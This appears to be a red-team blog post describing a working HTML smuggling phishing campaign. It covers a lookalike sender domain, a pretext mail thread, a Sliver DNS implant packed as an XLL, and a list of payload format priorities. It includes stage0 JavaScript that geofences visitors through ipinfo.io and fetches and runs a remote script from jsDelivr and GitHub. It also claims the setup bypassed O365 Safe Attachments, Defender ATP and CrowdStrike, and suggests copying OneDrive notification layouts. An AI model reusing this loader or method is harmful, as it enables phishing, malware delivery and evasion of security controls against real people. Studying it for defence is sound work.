# tl;dr
The topic of HTML smuggling has been extensively covered by many since at least 2017. However, most posts present only a simple explanation of the technique, and are not practical to use in 2022. My goal here is to detail a working phishing scenario with HTML smuggling that could be used in an engagement in a relatively mature environment.
> **note:** the controls bypassed here are: O365 Safe Attachments, Defender ATP, and CrowdStrike at the time of the engagement. I think the approach will need to undergo significant changes to stay relevant in the coming years.
# prerequisites
## mailing infrastructure
ProtonMail was used as a mail provider of choice, together with a dead domain from a while ago, resembling a real one.
The pretext simulated two employees starting and talking in a mail thread, CCing the victims along the way.
```j
fake1 fake2 victim
| | |
|--doc request-->|---CC-->|
|<-HTML with doc-|---CC-->|
```
## payload
The executable payload of choice was `sliver`'s DNS payload, wrapped by a custom loader to an [[xll-delivery]] payload. Since HTML smuggling would be the delivery method of choice, it was best to pick something that MotW does not interfere with. In general, I would recommend the following priorities when picking a payload:
```j
XLL ->
.doc/.xls (the ol' staple) ->
.LNK + .ISO/.IMG ->
ISO-packed .VBS/.JS/.EXE/etc
```
> **note:** refer to [[simple-iso-lnk]] for the introduction to LNK delivery.
DNS trasnport was chosen, as it was established that in the specific configuration used DNS is not considered as network communication by Office processes neither by CrowdStrike nor ATP (weird, right?).
# HTML smuggling technique
`Safe Attachments` busts a simple auto-downloader HTML easily, resulting in an ugly .txt file being delivered instead detailing how dangerous and malicious the attachment was.
I was not in the mood to experiment with making the user download the .ISO from HTML, unpack it, then click through some more buttons with the word "dangerous" somewhere near them. It seemed to be easier to just make the HTML inert in the sandbox instead.
I know a guy who spend a lot of time collecting data and tinkering with JS fingerprint functions to make his phishing pages not open in sandboxes. I, however, knew who my target was and wanted to minimize the time spent on delivery. The simplest approach I found out worked like this:
```j
HTML <-WHOIS-> ipinfo.io
\
\-if WHOIS org/CN matches->jsdelivr.com-->github.com
|
payload downloader
```
This made stage0 very easy to implement:
```html
<script src="https://cdn.jsdelivr.net/gh/jquery/
[email protected]/dist/jquery.min.js"></script>
<script>
$.get("https://ipinfo.io", function(response) {
if (response.country == "UA") { //&& response.org.toLowerCase().includes("clientorg")
$.getScript("https://cdn.jsdelivr.net/gh/throwaway/
[email protected]/rndata.js") //
} else {
console.log("[legit] unspecified error");
console.log("[legit] contact the email sender for support")
}
}, "jsonp");
</script>
```
And the downloader payload could be not as hardly obfuscated, as it's downloaded on runtime.
I made my own HTML layout, but in retrospect, I'd advise you to just copy the OneHub/OneDrive/etc file sharing notifications. Mine looked something like this:
![[Pasted image 20220725171105.png]]
> **note:** stealing the CSS animation at the bottom was the hardest thing I did in the entire payload workflow.
# results
Surprisingly, despite the not-trusted-at-all sender, email filtering, and ease of preparation, this managed to successfully bypass email filtering. It's almost a rule of thumb at this point to see a very old technique like this still be successful if you take an hour to modify it a bit.